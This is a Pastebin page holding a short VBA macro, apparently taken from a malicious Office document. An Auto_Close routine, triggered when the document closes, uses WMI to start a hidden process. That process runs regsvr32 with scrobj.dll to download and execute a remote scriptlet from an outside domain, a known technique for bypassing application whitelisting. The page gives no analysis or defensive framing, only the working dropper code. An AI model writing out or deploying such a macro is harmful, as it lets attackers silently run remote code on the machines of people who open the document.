SHARE
TWEET

Untitled

a guest Apr 20th, 2019 80 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Sub Auto_Close()
  2.     PgvR
  3. End Sub
  4. Public Function PgvR() As Variant
  5.     Dim Bs As String
  6.     Bs = "regsvr32 /u /n /s /i:http://deluxebostitch.com/download/index scrobj.dll"
  7.  
  8.     Const HIDDEN_WINDOW = 0
  9.     strComputer = "."
  10.     Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
  11.     Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  12.     Set objConfig = objStartup.SpawnInstance_
  13.     objConfig.ShowWindow = HIDDEN_WINDOW
  14.     Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
  15.     objProcess.Create Bs, Null, objConfig, intProcessID
  16. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top